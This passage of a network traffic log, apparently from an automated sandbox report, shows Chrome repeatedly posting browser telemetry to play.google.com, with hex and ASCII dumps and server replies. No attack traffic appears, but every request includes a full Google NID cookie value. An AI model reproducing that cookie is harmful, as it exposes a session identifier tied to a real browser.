Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682760635",null,null,null
2024-09-30 07:52:42 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:52:42 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:52:42 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:52:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50776	142.250.74.206	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:52:43 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1460 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:52:43 UTC	1460	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 37 36 31 33 31 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682761315",null,null,null
2024-09-30 07:52:43 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:52:43 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:52:43 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:52:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50792	142.250.74.206	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:53:13 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1233 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:53:13 UTC	1233	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 37 39 31 33 36 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682791363",null,null,null
2024-09-30 07:53:13 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:53:13 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:53:13 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:53:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50791	142.250.74.206	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:53:13 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1237 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:53:13 UTC	1237	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 37 39 31 33 36 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682791366",null,null,null
2024-09-30 07:53:13 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:53:13 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:53:13 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:53:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50807	142.250.186.78	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:53:45 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1507 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:53:45 UTC	1507	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 38 32 33 30 38 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682823082",null,null,null
2024-09-30 07:53:45 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:53:45 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:53:45 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:53:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50808	142.250.186.78	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:53:45 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1476 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:53:45 UTC	1476	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 38 32 33 33 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682823300",null,null,null
2024-09-30 07:53:45 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:53:45 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:53:45 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:53:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	54564	142.250.186.78	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:54:16 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1331 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
